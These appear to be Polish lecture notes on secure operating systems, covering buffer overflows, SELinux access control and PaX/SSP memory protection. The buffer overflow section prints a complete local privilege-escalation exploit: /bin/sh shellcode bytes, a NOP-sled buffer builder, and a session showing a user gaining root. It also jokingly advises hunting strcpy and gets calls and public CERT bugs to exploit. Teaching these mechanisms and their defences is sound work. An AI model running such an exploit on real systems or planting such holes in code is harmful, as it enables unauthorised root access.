Bezpieczne systemy operacyjne - SELinux

Piotr Stawiński i Paweł Mielechowicz
  1. Błąd przepełnienia bufora (ang. buffer overflow).
  2. Projekt SELinux.
  3. Projekt PaX.

Buffer overflow

Prezentacja zasadniczo składać się będzie z następujących fragmentów.
  1. Witamy w świecie Buffer Overflow.
  2. Zanim wejdziemy (program w pamięci).
  3. Menu (trudne słowa).
  4. Aperitif (prosty segmentation fault).
  5. Koreczki (ładne kolory które pomogą zrozumieć).
  6. Przystawka (prosty program).
  7. Danie główne (bierzemy roota).
  8. Jak sie nie struć (czyli 10 przykazań antyBO).
  9. Gdzie szukać następnej okazji?
  10. Podziękowania Oczywiście cały początek można sobie opuścić bez utraty późniejszego zrozumienia mechanizmu BO, ale fajnie jest to przynajmniej szybko przelecieć wzrokiem, żeby zobaczyć, że BO jest czymś więcej niż tylko potencjalnym źródłem błędu w oprogramowaniu. To faktyczny błąd w oprogramowaniu. A ta prosta prezentacja ma pokazać jak go w najbardziej infantylny sposób wykorzystać.

  11. Zapraszam zatem do fragmentu historycznego.

Witajcie w świecie nie-idealnego oprogramowania

Historia BO

  1. 1988 - Morris Worm, 10% zaatakował komputerów podłączonych do internetu ( 6k ), straty rzędu $100M,
    [komentarz: pan Morris jest dzisiaj profesorem na MIT, kiedy stworzył worma był studentem. Jak mówił gdy skazywano go na trzy lata więzienia, jego celem nie było sparaliżowanie internetu, ale jedynie oszacowanie jego wielkości. Chciał po prostu zakazić jakiś odsetek komputerów w necie i w ten sposób oszacować jego wielkość. Niestety przez przeszacowanie jakiejś stałej wyliczającej czy Worm ma atakować kolejny komputer wirus atakował 'za dużo' komputerów. Co spowodowało wszystkie z nim problemy.
    Wirus korzystał z BO w demonie finger]
  2. 1995 - Thomas Lopatic publikuje prace na temat BO
    [ nauczony doświadczeniem pana Morrisa pan Lopatic swoje przemyślenia na temat BO i makabrycznie częstych błędów w oprogramowaniu które dawały mu moc zrobienia wszystkiego opublikował zamiast szacować wielkość internetu czy zbijać kokosy szantażując allegro czy inne yahoo. Grunt że za opublikowanie wiedzy nikt nikogo nie wsadza do więzienia, a jego prace spowodowały mały buum w środowiskach programistycznych, który był jednak niczym w porównaniu z eksplozją jaką spowodował : ]
  3. 1996 - Smashing the Stack for Fun and Profit
    [ten wspaniały artykuł dostępny w sieci dla każdego zarówno w formie tekstowej jak i treściowej: każdy kto trochę zna C i trochę Assemblera (ale to już niekoniecznie) dowie sie jak wykorzystać BO. Piękna sprawa i pouczająca dzisiaj, ale kiedy artykuł się pojawił o BO wiedzieli tylko specjaliści, więc nikt nie przejmował się nim robiąc oprogramowanie dziurawe jak szwajcarski ser. Swoja drogą piękne to były czasy kiedy można było wszystko ]
  4. 2001 - Code Red Worm, chciał wywrócić www.whitehouse.gov, 800000 zarażonych komputerów, straty $2.5G
    [przykład tego worma pokazuje że czasy te nie do końca minęły. Ciekawa historia. W czerwcu ogłoszony zostaje błąd razem z patchem, patch ten jest umieszony na stronach CERTu i Microsoftu. I tyle. Błąd jakich wiele, patch jakich mnóstwo. Administratorzy wolą patchów nie nakładać bo przecież nie wymienia się wygrywającej drużyny. Miesiąc po tym pojawił się Code Red Worm wykorzystujący ten znany już od miesiąca światu błąd. Straty jak widać. www.whitehouse.gov atak przetrwało. (bez paniki, prezydent jest bezpieczny). Inne komputery nie miały tego szczęścia, stąd te straty.
    Wniosek: chcesz być mega hakerem, iść do więzienia na 3 lata a później pływać w bogactwach w firmach od zabezpieczeń komputerowych? Śledź błędy na stronach CERTu ogłaszane, pisz exploity i wormy. Nawet parę miesięcy po ogłoszeniu systemy będą podatne na Twojego robaka.]
  5. 2003 - SQL slammer Worm, 75000 zarażonych komputerów,

    [i tak dalej i tak dalej...]
Zasadniczo to mniej więcej połowa ordynarnie pozwalających zdobyć nielegalne uprawnienia błędów należy do BO

Dziś

Idea tego obrazka jest taka, żeby pokazać że problem jest nadal aktualny. Wszystko na nim jest właściwie nieważne, ale fajnie spojrzeć na daty i na to jak często odkrywany jest błąd związany z BO.

BO i ja

  1. Ktoś może włamać się na Twój komputer
  2. Ktoś może czytać Twoją pocztę
  3. Można ukraść Ci dane z bazy
  4. Jeśli jesteś programistą: ktoś może oszukiwać Twój program
  5. Innymi słowy: póki BO jest na wolności NIE JESTEŚ BEZPIECZNY
  6. No i oznacza jeszcze, że TY możesz włamać się na dowolny komputer we wszechświecie (złowrogi śmiech)

Podstawy: program w pamięci

Przyszedł czas na wyjaśnienie mechanizmów stojących za BO. Żeby nie zaczynać od razu od assemblerowych świrków trochę podstaw z architektury.
Program ładowany jest do pamięci w postaci swojego kodu, swojego stosu i swoich danych. Może to mało odkrywcze ale szalenie ważne. Wszystko przestawia ten śliczny rysunek poniżej.
  1. Przestrzeń kodu - instrukcje programu
  2. Dane programu - statyczne i dynamiczne (dwa stosy)
  3. Stos - tu są odkładane informacje o wywołaniach funkcji, tzn. wywołanie funkcji powoduje wrzucenie na stos wskaźnika powrotu, czyli miejsca do którego trzeba powrócić z funkcji (miejsce w kodzie oczywiście) i argumentów funkcji.
Co powinno nam sie wydać podejrzane to to że kod nie jest niczym innym niż dane do tego kodu. Więc właściwie istnieje możliwość wykonania kodu który kodem nie jest. Ale nie uprzedzajmy faktów. Ważne jest to że wszystko siedzi razem w jednym miejscu. I ważne że do wszystkiego mamy dostęp. Bo przecież to nasze jest.
Idea stosu jest ładnie zaprezentowana w poniższym aplecie. Odpalenie go może pomóc w zrozumieniu na czym polega wywołanie funkcji, co z resztą zostanie omówione za chwilę dokładniej w oparciu o straszaka zwanego Assemblerem.

Kolorowy przykład wywołania funkcji

Prosty łatwy i przyjemny, ale jeśli szanujesz swój czas albo uważasz się za informatyka to lepiej przejdź od razu dalej.

Przykład

Nadszedł ten moment, żeby pokazać pierwszego diabełka. Więc oto i on. Wspaniały program w C który pokazuje jak sie wywołuje funkcje. Bomba nie? Chodzi mi o to żeby iść po kolei i wszystko zrozumieć. Więc to jest on
void function(int a, int b, int c)
{
char buffer1[8];
char buffer2[16];
}
void main()
{
function(1, 2, 3);
}



Na stos trafia:

pushl $3
pushl $2
pushl $1
call function
To z prawej strony to przetłumaczony kod main na assembler. (co to assembler tłumaczyć już nie będę). Jak widać odkładane są (gdzie? na stos!) argumenty funkcji, później wywołany jest call, który odkłada na stos wskaźnik powrotu RET i przechodzi do instrukcji funkcji.
Pięknie proste. Zanim zaczniemy cokolwiek poważniejszego jeszcze chwila przerwy na:

Menu (trudne słowa)


Denial of Service to uniemożliwienie dostępu i korzystania z usługi. - to właśnie to chciał zrobić Code Red Worm, ale mu nie wyszło. www.whitehouse.gov musi mieć jakieś potwornie dobre zabezpieczenia.
Exploit to program mający na celu wykorzystanie błędów w oprogramowaniu. W potocznym rozumieniu: biorę exploita, uruchamiam i mam roota. Zaraz takiego napiszemy.
Przepełnienie bufora (ang. Buffer overflow) - błąd oprogramowania polegający na zapisaniu do podręcznej pamięci, czyli bufora większej ilości danych, niż jest to dozwolone, co powoduje zamazanie danych i w rezultacie: błędne działanie programu

Źródełkiem informacji jest oczywiście wikipedia.

Najprostszy przykład

Durum durum, czas na Buffer Overflow!

void function(char* str)
{
char buffer[16];
strcpy(buffer, str);
}
void main()
{
char largeStr[256];
for(int i = 0; i < 256; i++)
largeStr[i] = 'A'; // wartość szesnastkowa Ox41
function(largeStr);
}
I co się stanie jak to cudo uruchomimy? Niestety nie będziemy mieli roota. Właściwie to nic sie nie stanie. Tj stanie się bo zobaczymy starego znajomego: segmentation fault.
Dlaczego? - w sumie nie można się dziwić jeśli tylko spojrzy się w kod. Ładujemy do 16 bajtowego bufora 256 literek A. To się nie może zmieścić więc sie nie mieści. JESZCZE NIE MA SEG-FAULT. Bo przecież nie zrobiliśmy nic złego. Jądro nie patrzy na wszystkie nasze bufory. Dopiero nadchodzi koniec funkcji, procesor patrzy na wskaźnik powrotu: i skacze. Dokąd? pod adres:0xAAAA. A co tam jest? Tego nie wie nikt, grunt ze tak nie można, więc: SEGFAULT krzyczy system.
Pozostaje pytanie: po co to pokazywać, jeśli to tak niepraktyczne: bo to pomoże Wam zrozumieć co się dzieje dalej. Jeszcze jeden drobiazg: dlaczego AAA? Bo stos wyglądał tak: xxxxxxxx[16 bajtów na buffer]x[RET]xxxxxxxxx , a my ładujemy tam AAAAAAAAAAAaaa, i jest tragedia. Jasne? Powinno być jak słoneczko, bo problemy zaczną się dopiero za moment.

Potrafimy zrobić Segmentation fault. Mało to praktyczne, choć właściwie może zablokować jakąś usługę czy coś, ale to nic ciekawego. A co ciekawego można zrobić?
Dwa przykłady:
(pozwolę sobie nie podawać rozwiązań, powiem tylko ze literki y i d grają niebagatelną rolę we wszechświecie)

Włammy się razem

Zabroniona funkcja


Śmieszny efekt

Po tej krótkiej przerwie na kolory czas na coś poważniejszego. Napiszemy program który będzie coś robił. Ale wcale tego nie będzie robił. Fajnie, nie? znów może mało praktyczne, ale to już ostatnie podejście przed naszym włamem na roota, więc cierpliwości. Grunt to zrozumieć podstawy


void funkcja (int a, int b, int c)
{
int *wsk;
wsk = &a - 1;
*wsk += 7;
}

int main ()
{
int a, b;
a = 1;
b = 2;
funkcja(a,b,3);
a = 5;
printf("%d\n", a);
}

Wynik?
Narzuca sie sam, oczywiście że 5. Ale nie, uruchomienie (przynajmniej u mnie), daje 1. Dlaczego?
Wyjaśnienie
Co robi magiczna funkcja?
Bierze Wskaźnik RET : wsk = &a - 1;
Zwiększa go o 7 czyli każe Powrócić do kolejnej instrukcji, tj nie do a = 5 ale dalej, do printf-a: *wsk += 7;
Skąd wiemy że 7 ?
Dump of assembler code for function main: to jest wynik działania gdb

0x080483bf : push %ebp
0x080483c0 : mov %esp,%ebp
0x080483c2 : sub $0x18,%esp
0x080483c5 : and $0xfffffff0,%esp
0x080483c8 : mov $0x0,%eax
0x080483cd : sub %eax,%esp
0x080483cf : movl $0x1,0xfffffffc(%ebp)
0x080483d6 : movl $0x2,0xfffffff8(%ebp)
0x080483dd : movl $0x3,0x8(%esp)
0x080483e5 : mov 0xfffffff8(%ebp),%eax
0x080483e8 : mov %eax,0x4(%esp)
0x080483ec : mov 0xfffffffc(%ebp),%eax
0x080483ef : mov %eax,(%esp)
0x080483f2 : call 0x80483a4
0x080483f7 : movl $0x5,0xfffffffc(%ebp)
0x080483fe : mov 0xfffffffc(%ebp),%eax
0x08048401 : mov %eax,0x4(%esp)
0x08048405 : movl $0x8048534,(%esp)
0x0804840c : call 0x80482d0 <_init+56>
0x08048411 : leave
0x08048412 : ret
0x08048413 : nop


Czyli wiemy że do RET trafia a my chcemy tam umieścić . Proste? Proste!
Nie wiem czy widzicie, ale teraz już umiemy uruchamiać to czego nie wolno...

a teraz coś z zupełnie innej beczki:

Bierzemy roota


Trzymajcie się mocno. Bo to koniec kolorów i głupawych komentarzy.
Czego potrzebujemy do przejęcia komputera? Potrzebujemy shella z prawami roota. Jak go zdobyć? Zmusić program wykonywany z prawami roota to odpalenia konsoli.
Zacznijmy więc od kodu który odpala konsolę:
Magiczne świrki:
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

Skąd to jest? Albo inaczej: jak zrobić coś takiego? Tworzymy program który nic nie robi tylko uruchamia /bin/sh. Następnie go dessasemblujemy. I już.
Teraz trzeba znaleźć program który ma prawa roota i błąd. Większość błędów BO jest chyba równoważna błędowi w programie poniższym:

void main(int argc, char *argv[])
{
char buffer[512];
if (argc > 1)
strcpy(buffer, argv[1]); // unbounded copy, bad idea
}


Wystarczy że znajdziemy taki program z prawami roota uruchamiany i już mamy roota...

Teraz ja napisze exploita który da nam roota, pokażę że rzeczywiście daje a później wytłumaczę czemu to działa


#include
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define NOP 0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;

if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);

if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}

addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);

ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
for (i = 0; i < bsize/2; i++)
buff[i] = NOP;

ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];

buff[bsize - 1] = '\0';

memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");
}

Who am I?


[pio@10-1-2-226 pio]$ whoami
pio
[pio@10-1-2-226 pio]$ ./exploit 612 #tak nazwałem naszego exploita
Using address: 0xbffff658
[pio@10-1-2-226 pio]$ sudo ./vunerable $EGG #a to ten program z prawami roota z błędem
Using address: 0xbffff8a8
[root@10-1-2-226 pio]# whoami
root

Prawda że śliczne? Cudowne chciałobysię rzec, pomyśleć, że 10 lat temu takich exploitów można było pisać na pęczki.
A teraz czas na nudzenie, czyli co się dzieje w programie. Może od końca:

memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");


Eksportuje zmienną o nazwie EGG do środowiska i uruchamia basha. (na razie z tymi prawami jakie mamy).

if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);


Pobranie argumentów, rozmiaru bufora jakim nadpiszemy program i offset, czyli przesunięcie, którego idea zostanie wyjaśniona zaraz.

addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);


Funkcja get_sp zwraca nam wierzchołek stosu. Już teraz musze wyjaśnić co właściwie będzie robił exploit. Więc poda on za duży bufor postaci: NOP_wiele_razy | shellcode | wiele_razy_powtórzony_adres_jakiś. Jak to ma działać? wiele_razy_powtórzony_adres_jakiś nadpisuje RET i skaczemy z prawami roota tam gdzie tylko chcemy. Ale dokąd? Jakoś trzeba trafić w shellcode. Jest taka instrukcja która robi nic. To NOP. Jeśli trafimy w NOP to bezpiecznie po nim sie zsuniemy dalej aż do shellcode. To zwiększa prawdopodobieństwo, że nawet jeśli podamy niedokładnie dobry adres to wszystko zadziała poprawnie. Jasne?


addr = get_sp() - offset;
Wyliczanie adresu gdzie mamy później skoczyć
(..)
for (i = 0; i < bsize; i+=4)
Wstawienie w buforze tego adresu
*(addr_ptr++) = addr;
for (i = 0; i < bsize/2; i++)
Wstawienie na początku NOPów
buff[i] = NOP;

ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
I to co bedziemy chcieli uruchomić shellcode
I tyle. I to koniec.
Jeszcze pare takich tam na koniec:

(prawie) 10 przykazań programisty

  1. Zawsze sprawdzaj czy mieścisz się w granicach tablicy.
  2. Sprawdź czy operacje na wskaźnikach nie wyrzuciły Cię za zakres.
  3. Zanim skopiujesz coś do bufora, wczytasz do niego, dołączysz najpierw sprawdź czy jest wystarczająco duży
  4. Pamiętaj, że BO można wywołać niezależnie od tego czy chcesz wczytać 1 char czy 100.
  5. Uważnie używaj potencjalnie niebezpiecznych poleceń.
  6. Uważaj na "błąd jedynki"
  7. Pamiętaj, że w C int A[100] pozwala odwołać się tylko do indeksów od 0 do 99. A nie do 100.
  8. Pamiętaj, że wszyscy ludzie nie myślą o niczym innym jak tylko o przeładowywaniu buforów w Twoim programie.
  9. I pamiętaj, że każdy bufor to potencjalne niebezpieczeństwo

Przepis na bycie hakerem

(jeśli koniecznie chcesz wykorzystać BO:) Poszukaj w źródłach gets, strcpy, strcat, stradd, strecpy i tak dalej...
Właściwie błąd może być wszędzie, gdzie tylko pojawia się wskaźnik.
a jeśli zależy Ci tylko na pieniądzach i czasie to lepiej wejdź na jakąś stronę CERTu i poczytaj o oficjalnych błędach w oprogramowaniu, przeanalizuj patche i wykorzystaj to co już zostało stworzone. A później uciekaj do Wenezueli.

Dziękuję, czyli materiały


Wielkie dziękuję dla pani Susan Gerhart, od której uzyskałem te fajne prezentacje w javie. Swoją drogą polecam stronę
http://nsfsecurity.pr.erau.edu/
Dziękuję dla Janusza Parfieniuka za pomoc w zrozumieniu przykładów
Inne dziękuję: dla wikipedii, dla twórców linuxa i dla pana który napisał http://www.phrack.org/show.php?p=49&a=14 (z reszta polecam, co prawda podane przykłady nie działają, ale i tak jest fajnie)
Drobiazgi: programy uruchamiałem na zodiacu i tam działały. Ale zależą od wersji gcc którym są kompilowane, więc jeśli nie działa to trzeba zdesasemblować kod i wprowadzić odpowiednie zmiany, np 8 zamiast 7 w kod bo jakaś instrukcja zajmuje więcej miejsca.
Jesli aplety javy nie chcialy sie uruchomic polecam sciagniecie ich i uruchomienie offline:
java.tgz .

Dziękuję


Projekt SELinux.

  1. Ogólnie o SELinux.
  2. Teoria jaka się kryje za SELinux.
  3. Administrowanie systemem SELinux.

Ogólnie o SELinux.

Security-enhanced Linux to prototyp jądra linuxa i liczne programy dodatkowe, które rozszerzają funkcjonalność systemu o obowiązkową kontrolę dostępu. Jądro zawiera nowe architektoniczne komponenty stworzone po to żeby zwiększyć bezpieczeństwo systemu. Te architektoniczne komponenty dostarczają ogólne wsparcie dla prowadzenia wielu różnych polityk kontroli dostępu.

Jądro SELinux wymusza politykę, która ogranicza programy użytkowe i serwery systemowe do minimalnych przywilejów, które potrzebują do wykonania swych zadań. Dzięki temu możliwość wykorzystania luk w tych programach (przepełnienie bufora lub zła konfiguracja) jest zredukowana albo wyeliminowana.

Ten mechanizm działa niezależnie od tradycyjnej kontroli dostępu w Linuksie. W szczególności nie ma w nim koncepcji superużytkownika i nie posiada on ograniczeń związanych z mechanizmem uid i gid.

Bezpieczeństwo w niezmodyfikowanym Linuksie zależy od poprawności kodu jądra, od kodu wszystkich jego uprzywilejowanych aplikacji i od konfiguracji tychże aplikacji. Wykorzystanie błędu w jednej z tych składowych powoduje całkowite zdobycie systemu przez intruza.

W SELinux natomiast bezpieczeństwo zależy głównie od poprawności jądra i od konfiguracji polityki bezpieczeństwa. Wykorzystanie błędu w kodzie aplikacji lub konfiguracji tejże aplikacji nie powoduje całkowitego zdobycia systemu przez intruza.

Teoria w SELinux.

SELinux tworzy model zabezpieczeń, który jest kombinacją trzech modeli:

Type Enforcement (TE) model

Role-Based Access Control (RBAC) model

Takie podejście łączy w sobie prostotę w zarządzaniu jaką daje model RBAC z drobiazgową ochroną jaką daje model TE.

Typowy przebieg:


Administrowanie SELinux.

SELinux jest częścią:

Uwagi dotyczące instalacji SELinux:

Do wyświetlania atrybutów bezpieczeństwa służą:

Przydatne wskazówki przy dystrybucji red hat.

Przydatne wskazówki dotyczące dystrtbucji gentoo.

Szczegółowe spojrzenie na politykę typów w SELinux.

Na przykładzie apacha:

Ogólnie o polityce "Type Enforcement".

Pisanie powyższych definicji dla każdego pakietu oprogramowania (np. dla różnego typu demonów, bibliotek) jest zajęciem żmudnym. Należy pamiętać o odpowiednich regułach dotyczących domen, makr, kontekstu plików ...

Radzę to zostawić deweloperom dystrybucji. Choć można oczywiście wesprzeć programistów i przyłączyć się do rozwijania definicji selinux.

Należy pamiętać przy tym żeby zainstalować odpowiednie pakiety polityki dla odpowiedniego pakietu.
np: emerge selinux-apache; dla apache

Definicje ról.

Zarządzanie rolami w przeciwieństwie do zarządzania "Type Enforcment", jest podstawową działalnością administratora systemu.

Projekt PaX.

  1. Ogólnie o PaX.
  2. Administrowanie systemem PaX.
  3. Wzmianka o hardened gentoo

Ogólnie o PaX.

PaX to ochrona pamięci na poziomie jądra w systemach Linux. Jest to patch na jądro który dostarcza zabezpieczenie w dwojaki sposób. Podczas kompilacji. można użyć również SSP.
SSP (Stack Smashing Protector) to technologia umożliwiająca stworzenie pliku wykonywalnego, który zachowuje się jak następuje: Podczas uruchomienia aplikacji, kiedy jest tworzony bufor, SSP dodaje sekretną wartość, na końcu bufora. Kiedy funkcja się kończy SSP upewnia się że znacznik jest niezmieniony. Jeżeli intruz chce użyć przepełnionego bufora, nadpisuje tą wartość i uruchamia wyjątek "stack smashing handler". Powoduje to zabicie wyjściowego procesu.

Administrowanie PaX.


Hardened gentoo.

Polecam ;)
Hardened Gentoo zawiera w sobie:
  1. SELinux.
  2. PaX.
  3. Bastille: interakcyjna aplikacja, która podpowiada użytkownikowi jak skonfigurować system zabezpieczeń.

Wskazówka.
Istnieje możliwość przejścia na "hardened gentoo" ze zwykłego "gentoo" bez konieczności przeinstalowania systemu.
(konieczna jest jednak zmiana profilu i prze-kompilowanie)